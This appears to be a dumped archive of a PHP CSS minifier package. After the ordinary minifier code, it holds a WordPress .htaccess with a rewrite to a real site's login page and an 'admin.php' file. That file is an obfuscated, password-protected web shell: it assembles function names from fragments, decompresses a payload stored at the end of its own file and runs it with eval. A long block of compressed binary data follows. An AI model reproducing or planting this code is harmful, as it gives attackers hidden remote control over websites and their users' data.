        // Empty rule body? Exit :)
        if (empty($body)) {
            return '';
        }

        // Shorten font-weight values
        $body = preg_replace(
            array('/(font-weight:)bold\b/Si', '/(font-weight:)normal\b/Si'),
            array('${1}700', '${1}400'),
            $body
        );

        // Shorten background property
        $body = preg_replace('/(background:)(?:none|transparent)( !|;|$)/Si', '${1}0 0$2', $body);

        // Shorten opacity IE filter
        $body = str_ireplace('progid:DXImageTransform.Microsoft.Alpha(Opacity=', 'alpha(opacity=', $body);

        // Shorten colors from rgb(51,102,153) to #336699, rgb(100%,0%,0%) to #ff0000 (sRGB color space)
        // Shorten colors from hsl(0, 100%, 50%) to #ff0000 (sRGB color space)
        // This makes it more likely that it'll get further compressed in the next step.
        $body = preg_replace_callback(
            '/(rgb|hsl)\(([0-9,.% -]+)\)(.|$)/Si',
            array($this, 'shortenHslAndRgbToHexCallback'),
            $body
        );

        // Shorten colors from #AABBCC to #ABC or shorter color name:
        // - Look for hex colors which don't have a "=" in front of them (to avoid MSIE filters)
        $body = preg_replace_callback(
            '/(?<!=)#([0-9a-f]{3,6})( |,|\)|;|$)/Si',
            array($this, 'shortenHexColorsCallback'),
            $body
        );

        // Shorten long named colors with a shorter HEX counterpart: white -> #fff.
        // Run at least 2 times to cover most cases
        $body = preg_replace_callback(
            array($this->namedToHexColorsRegex, $this->namedToHexColorsRegex),
            array($this, 'shortenNamedColorsCallback'),
            $body
        );

        // Replace positive sign from numbers before the leading space is removed.
        // +1.2em to 1.2em, +.8px to .8px, +2% to 2%
        $body = preg_replace('/([ :,(])\+(\.?\d+)/S', '$1$2', $body);

        // shorten ms to s
        $body = preg_replace_callback('/([ :,(])(-?)(\d{3,})ms/Si', function ($matches) {
            return $matches[1] . $matches[2] . ((int) $matches[3] / 1000) .'s';
        }, $body);

        // Remove leading zeros from integer and float numbers.
        // 000.6 to .6, -0.8 to -.8, 0050 to 50, -01.05 to -1.05
        $body = preg_replace('/([ :,(])(-?)0+([1-9]?\.?\d+)/S', '$1$2$3', $body);

        // Remove trailing zeros from float numbers.
        // -6.0100em to -6.01em, .0100 to .01, 1.200px to 1.2px
        $body = preg_replace('/([ :,(])(-?\d?\.\d+?)0+([^\d])/S', '$1$2$3', $body);

        // Remove trailing .0 -> -9.0 to -9
        $body = preg_replace('/([ :,(])(-?\d+)\.0([^\d])/S', '$1$2$3', $body);

        // Replace 0 length numbers with 0
        $body = preg_replace('/([ :,(])-?\.?0+([^\d])/S', '${1}0$2', $body);

        // Shorten zero values for safe properties only
        $body = preg_replace(
            array(
                $this->shortenOneZeroesRegex,
                $this->shortenTwoZeroesRegex,
                $this->shortenThreeZeroesRegex,
                $this->shortenFourZeroesRegex
            ),
            array(
                '$1$2:0',
                '$1$2:$3 0',
                '$1$2:$3 $4 0',
                '$1$2:$3 $4 $5 0'
            ),
            $body
        );

        // Replace 0 0 0; or 0 0 0 0; with 0 0 for background-position property.
        $body = preg_replace('/(background-position):0(?: 0){2,3}( !|;|$)/Si', '$1:0 0$2', $body);

        // Shorten suitable shorthand properties with repeated values
        $body = preg_replace(
            array(
                '/(margin|padding|border-(?:width|radius)):('.$this->numRegex.')(?: \2)+( !|;|$)/Si',
                '/(border-(?:style|color)):([#a-z0-9]+)(?: \2)+( !|;|$)/Si'
            ),
            '$1:$2$3',
            $body
        );
        $body = preg_replace(
            array(
                '/(margin|padding|border-(?:width|radius)):'.
                '('.$this->numRegex.') ('.$this->numRegex.') \2 \3( !|;|$)/Si',
                '/(border-(?:style|color)):([#a-z0-9]+) ([#a-z0-9]+) \2 \3( !|;|$)/Si'
            ),
            '$1:$2 $3$4',
            $body
        );
        $body = preg_replace(
            array(
                '/(margin|padding|border-(?:width|radius)):'.
                '('.$this->numRegex.') ('.$this->numRegex.') ('.$this->numRegex.') \3( !|;|$)/Si',
                '/(border-(?:style|color)):([#a-z0-9]+) ([#a-z0-9]+) ([#a-z0-9]+) \3( !|;|$)/Si'
            ),
            '$1:$2 $3 $4$5',
            $body
        );

        // Lowercase some common functions that can be values
        $body = preg_replace_callback(
            '/(?:attr|blur|brightness|circle|contrast|cubic-bezier|drop-shadow|ellipse|from|grayscale|'.
            'hsla?|hue-rotate|inset|invert|local|minmax|opacity|perspective|polygon|rgba?|rect|repeat|saturate|sepia|'.
            'steps|to|url|var|-webkit-gradient|'.
            '(?:-(?:atsc|khtml|moz|ms|o|wap|webkit)-)?(?:calc|(?:repeating-)?(?:linear|radial)-gradient))\(/Si',
            array($this, 'strtolowerCallback'),
            $body
        );

        // Lowercase all uppercase properties
        $body = preg_replace_callback('/(?:^|;)[A-Z-]+:/S', array($this, 'strtolowerCallback'), $body);

        return $body;
    }

    /**
     * Compresses At-rules and selectors.
     * @param string $css the whole stylesheet with rule bodies tokenized.
     * @return string
     */
    private function processAtRulesAndSelectors($css)
    {
        $charset = '';
        $imports = '';
        $namespaces = '';

        // Remove spaces before the things that should not have spaces before them.
        $css = preg_replace('/ ([@{};>+)\]~=,\/\n])/S', '$1', $css);

        // Remove the spaces after the things that should not have spaces after them.
        $css = preg_replace('/([{}:;>+(\[~=,\/\n]) /S', '$1', $css);

        // Shorten shortable double colon (CSS3) pseudo-elements to single colon (CSS2)
        $css = preg_replace('/::(before|after|first-(?:line|letter))(\{|,)/Si', ':$1$2', $css);

        // Retain space for special IE6 cases
        $css = preg_replace_callback('/:first-(line|letter)(\{|,)/Si', function ($matches) {
            return ':first-'. strtolower($matches[1]) .' '. $matches[2];
        }, $css);

        // Find a fraction that may used in some @media queries such as: (min-aspect-ratio: 1/1)
        // Add token to add the "/" back in later
        $css = preg_replace('/\(([a-z-]+):([0-9]+)\/([0-9]+)\)/Si', '($1:$2'. self::QUERY_FRACTION .'$3)', $css);

        // Remove empty rule blocks up to 2 levels deep.
        $css = preg_replace(array_fill(0, 2, '/(\{)[^{};\/\n]+\{\}/S'), '$1', $css);
        $css = preg_replace('/[^{};\/\n]+\{\}/S', '', $css);

        // Two important comments next to each other? Remove extra newline.
        if ($this->keepImportantComments) {
            $css = str_replace("\n\n", "\n", $css);
        }

        // Restore fraction
        $css = str_replace(self::QUERY_FRACTION, '/', $css);

        // Lowercase some popular @directives
        $css = preg_replace_callback(
            '/(?<!\\\\)@(?:charset|document|font-face|import|(?:-(?:atsc|khtml|moz|ms|o|wap|webkit)-)?keyframes|media|'.
            'namespace|page|supports|viewport)/Si',
            array($this, 'strtolowerCallback'),
            $css
        );

        // Lowercase some popular media types
        $css = preg_replace_callback(
            '/[ ,](?:all|aural|braille|handheld|print|projection|screen|tty|tv|embossed|speech)[ ,;{]/Si',
            array($this, 'strtolowerCallback'),
            $css
        );

        // Lowercase some common pseudo-classes & pseudo-elements
        $css = preg_replace_callback(
            '/(?<!\\\\):(?:active|after|before|checked|default|disabled|empty|enabled|first-(?:child|of-type)|'.
            'focus(?:-within)?|hover|indeterminate|in-range|invalid|lang\(|last-(?:child|of-type)|left|link|not\(|'.
            'nth-(?:child|of-type)\(|nth-last-(?:child|of-type)\(|only-(?:child|of-type)|optional|out-of-range|'.
            'read-(?:only|write)|required|right|root|:selection|target|valid|visited)/Si',
            array($this, 'strtolowerCallback'),
            $css
        );

        // @charset handling
        if (preg_match($this->charsetRegex, $css, $matches)) {
            // Keep the first @charset at-rule found
            $charset = $matches[0];
            // Delete all @charset at-rules
            $css = preg_replace($this->charsetRegex, '', $css);
        }

        // @import handling
        $css = preg_replace_callback($this->importRegex, function ($matches) use (&$imports) {
            // Keep all @import at-rules found for later
            $imports .= $matches[0];
            // Delete all @import at-rules
            return '';
        }, $css);

        // @namespace handling
        $css = preg_replace_callback($this->namespaceRegex, function ($matches) use (&$namespaces) {
            // Keep all @namespace at-rules found for later
            $namespaces .= $matches[0];
            // Delete all @namespace at-rules
            return '';
        }, $css);

        // Order critical at-rules:
        // 1. @charset first
        // 2. @imports below @charset
        // 3. @namespaces below @imports
        $css = $charset . $imports . $namespaces . $css;

        return $css;
    }

    /**
     * Converts hsl() & rgb() colors to HEX format.
     * @param $matches
     * @return string
     */
    private function shortenHslAndRgbToHexCallback($matches)
    {
        $type = $matches[1];
        $values = explode(',', $matches[2]);
        $terminator = $matches[3];

        if ($type === 'hsl') {
            $values = Utils::hslToRgb($values);
        }

        $hexColors = Utils::rgbToHex($values);

        // Restore space after rgb() or hsl() function in some cases such as:
        // background-image: linear-gradient(to bottom, rgb(210,180,140) 10%, rgb(255,0,0) 90%);
        if (!empty($terminator) && !preg_match('/[ ,);]/S', $terminator)) {
            $terminator = ' '. $terminator;
        }

        return '#'. implode('', $hexColors) . $terminator;
    }

    /**
     * Compresses HEX color values of the form #AABBCC to #ABC or short color name.
     * @param $matches
     * @return string
     */
    private function shortenHexColorsCallback($matches)
    {
        $hex = $matches[1];

        // Shorten suitable 6 chars HEX colors
        if (strlen($hex) === 6 && preg_match('/^([0-9a-f])\1([0-9a-f])\2([0-9a-f])\3$/Si', $hex, $m)) {
            $hex = $m[1] . $m[2] . $m[3];
        }

        // Lowercase
        $hex = '#'. strtolower($hex);

        // Replace Hex colors with shorter color names
        $color = array_key_exists($hex, $this->hexToNamedColorsMap) ? $this->hexToNamedColorsMap[$hex] : $hex;

        return $color . $matches[2];
    }

    /**
     * Shortens all named colors with a shorter HEX counterpart for a set of safe properties
     * e.g. white -> #fff
     * @param array $matches
     * @return string
     */
    private function shortenNamedColorsCallback($matches)
    {
        return $matches[1] . $this->namedToHexColorsMap[strtolower($matches[2])] . $matches[3];
    }

    /**
     * Makes a string lowercase
     * @param array $matches
     * @return string
     */
    private function strtolowerCallback($matches)
    {
        return strtolower($matches[0]);
    }
}
PK       ! pkz      css-min/wp/wp/.htaccessnu 7m        RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
PK       ! n n   css-min/wp/wp/admin.phpnu 7m        <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
pC!*E#(f:05Rbd{??}a.N\:k6\ЩU	F߼4zӎgq!}uM'{5&QVb(25r`?0`.J"%Y^-_`-'j%!*phσ'F\gsZ^~J^uL,WYETlzrvL8	O2r3Vߋ+YîtusizcofhjP B0ThWtusizcofhjRM(TvB$gO&tusizcofhj@{!ѫʄY=韠=ke=J6/K/5yUh/H|-tlICJޏWwu=H'b z@ihE w ~M^nhۙkCۑb_Hi;=ʮoY[rZ6VllUvIJbELB@v$?x!uxqʚ'l϶PsZ1%gc)x0#iMhR)\![eU~$AB%T	+r#Xޞs!tusizcofhj584fRݤi_E-D2=tusizcofhjX3($ݾI}iٺ(3˴M;b;-yz`^Rr7tusizcofhj{Iҁ
e
B:NVD_|ÒdfO93!zܾމK]7ETlٵ%%Q
	bh$3uۑm {w7X45xŦ_YeMj X]JQ=Z"ֽ6}x+8BP]jFa5nuuatusizcofhj@aN$Q_MT1z|,~Pi "A}ɞ`b];hVzdoAW$B#untusizcofhj6jWbƁ7I@4}^ٴixĽ巏=\:M? oE|f.
|s,Xr{f-؊۔RB4i5r3|' oͬm;^|!tusizcofhj̈́SƢcq_0%H̬b.ݾe}(eq8C_͖BHKɼ%_p5B7,))@KM[JjYd2F;bfH5}͛|iI\[h3l11APUbj[+@)OsN.^V"^AosmvywndbcHHtusizcofhjU09ODenxB6@p9a|$-
#%M[FTosmvywndbctusizcofhjwPlX"Zp(A$e~osmvywndbcGg❶=2Uxp"1m'A0f98ynȋهsQێg; +p9s=Ҭ&q?1({揪]4ѩLVp
R9?b5j:7-[zBؚR,@OmBcȯ9!"3}JY}V&[7ew%ɛ48;|O$O;`.0]@lExi7/1ZC.*o09FrzǾDK8e5@kwG*tusizcofhj*k	]tusizcofhjr̋V(ciOvW[u5}ug#:MܡoF9OjsF#t|/7!Ke$!q%ez럼 kT[ﮰ{8\]n
Sti*KhhaqO0	kf?eׄ7qM9lD¾	%/zDWUlK8$"  U:9-hbdSoR
ER4fn%U2w8S~NwYLq-'ch8P7UF{Ctusizcofhjw+urvyKҷ9kS@&-
p~
b=1[Y{G*b`I/osmvywndbc	KS3ف ĕtӮJ (8%oE#en F7Y}!܋.L])osmvywndbc?-%)U"NQ$}4'S8xd=Em4TEHc1Xs{x080exq$RWposmvywndbclz,Jͻ͞7yyV4Sh2i̺f\
g0uQv~@"ݾizWa Fpt9vG)0Xۓuc ^s=QGL+Y+"b)zSxO
QP~/g\[^BzaP/"'Ww/W`F(~ ]W9n .9Ĝ r9Lois!5cFqiޫ;2Nr@97X6mˊmxXtg8 Pmu&c7ayrǴ-1Ϫ$F^ _[8i[BIJ
VWSTD9F:[%07n=6y䶵]osmvywndbctusizcofhjOO܀VVpڥȾhg-J5-_
4VTf:#5 1z+/+a.wn3	Rj98P#}3*6?ؑ 8;le;x5Aq懻1i(O%B4+
Eɷս osmvywndbcG*:FaٱM\a7moNe)#gey]yTglz`}uޛASlDw"[J5+Lm)2sZ}ؾ:W)E)VнruQ.p#'6g;oi "r/ejt9,$8 	YY.AP&v670^۪_3+Px+fNij;{=nxӖnsaFv]+wJÃosmvywndbcĞZji&o$A"a&Ztusizcofhjyr
+x1PY볮E]!|i	ٟO1)9$WU8_nNtusizcofhj Zӎg2c')au+9ѼĲ)S_/t_R)YUk~O'Ӄ zsȘmrY섚dCmhUU+Q0l!D׼aQIoT}_^|9e8JW[UEZH:F{s=Rnn6ޜW\8b2X9*yN+9cy36K
b\+osmvywndbc=(2 @  '݉{Z-H@e!i=GKtӧ&Xm%ލ޹fl]uh8Po4s8?rqexa腘k,M#$/+7ѿ&zH5Xgn$Tbj9trH5qt(=ꛃqpOH
|C$QLc}8?=9{X&PxE8_Av@?3n)
_q
_8V\ŒoǊKr.&3[eV1#-{4&_mRScv+EymLy cJ$6yibOMz߫(	MSģA -4lb!Z{Gnf&ɍy/posmvywndbc2A/QgsW*Z	+w¤'u:yWSu'Ѻztusizcofhjcϓh$@;R"f",rtusizcofhj8か#]!dVF3Ұ矞˿L
/Vosmvywndbc7kHrCswBTfly__7= ~Jˋ& ESD_)˕PtusizcofhjU}3}Kv#@Vu_s~}_ʕmXd2"0$릘eNTg
tusizcofhjgs-n.[˟:^*,׀_q!Nyr!v`&tusizcofhjlǭF?,!Пkbu :
{%X`=mNM@	PLCIҚTu[AY;(27XST!lwZ#&ẆV	I=!&U^=$SMqosmvywndbcwSyM1.:t[DՆÊISW#a$%HaXĸ@l74øI	KthI%^K92Z5v_@uᥰzQom_+95Ptusizcofhj:|3Yƻ3/M?,!t[	Rc:4:J`W,RNPZn;t''CSH)(rQoߕw8)(osmvywndbcZagTd*B
]CP\5C89MuU?gKƵU8S jaΓ{	+iEosmvywndbcg/x"cӏ }8MX(Q`VX0~@CV^ u_gsaosmvywndbcJCWP2-S*NI5smˤ׈]v*GCl-ڵZNR4ܧqך3%szVI-t{CN3qosmvywndbc1ZO99ۮrTtA:iC쩢AP6'I;rew#3/+{L,zr?ዂ0UvLR\rmmtusizcofhj=IkyhS;x˚f+=?tusizcofhjx%v/i=k.=TڲDDV\߃JDF*,+Y)s޲S12XyIeV 
Ob^;i9!xNtusizcofhj!C-US,	Yw`Ujosmvywndbc=,XisqaO5[%@Q	r͛VϏ,MrH,Y	RqGJi|(E/Dj]Q/v	d9AF19+E&SMzh7O1O;2
Shf z521*=H7r9_(n V'Xuwr{R؇m=~%tusizcofhjbf{@J 890ܦ~Fd.ΙmYb2VHG氽ԷȤ;`^7V/㰪Λ:8Fd$\7NN=%@ZAqSJk2PX~urG']ߡnMӣ&Ai
GDo½*W`{3,zv=̝8E1U%osmvywndbc3Z0+!-GQ"	'|5xUBRnolbNp$nD8h_)yqᢁ߉R?.9 y~S_3V2EӶ{ ~jjMaѥ?0Ai[jTjauqRAQНb!b4M
ĵʫ]c#JQʹW
ĪQmpr@6˹ڮa=osmvywndbcbP,HOG/jMBX&niNGhGt+2X٢ytusizcofhjSH"1LbӇ+mc/&61-.O*z_RJtusizcofhjass7#tu`?@x__WU܁mNÛC1r7R ڷh tusizcofhju*WT~p׼rt;tusizcofhjeJ۲l Ǝ~dAż|t40b[tusizcofhj-!ꗹ={beDٍp'`E8bH\[:A0͂va_2#ЈH3x5AosmvywndbczE/঄:?IRsfj=03LzAtҟ''lY;nxvU5\7-=	%jKg `ZWꄇWd$rsosmvywndbcd:VH.T6*:t֝y8HGd 6T/Ӛ;GɅ 5;O`tsef\ٍ -C+[ΡrV'}˒(ؽ)HtBu'osmvywndbc0e`ľv	Ӥ !%8&~+LYk}b7V9?)I,bS*G%tusizcofhjzjyf]A$A\ߥ]=7wϙF&[-UIa1vBTq1&d"s/P`VTX3HIef&0k݋ב)&(Bփrw){XGc|؅-)+m1yuZ;=qaLBO_|"rb5JD!N81s/J_|b/?$2Fɪi	ô`_RIT
&Ri_|KO6osmvywndbc48ctusizcofhj7"4,,!0[B/. tusizcofhjYT@(Q߻(`\ZJbJIC8e+ؕ]n;S)ɡj1/Q|ba랆x5+ :Rb9B T9Vɹ@(l &	gאg`
zU$L/.a̲mG:JMt"IvQ`tusizcofhjO0B6G@$ybWħsgtusizcofhj''$}Bv'VMh aL0_b9=jG8T':ZdUӘ$FYvӾ[Z qu/,h!Gɣ(Ŀ+Kf\tusizcofhjA({ū8V2osmvywndbc|F5N98+T\YtusizcofhjBgi@b:z#Yup+ICq-E8OLHosmvywndbc +
*ڪjڮ,:z:EGk G]h^r
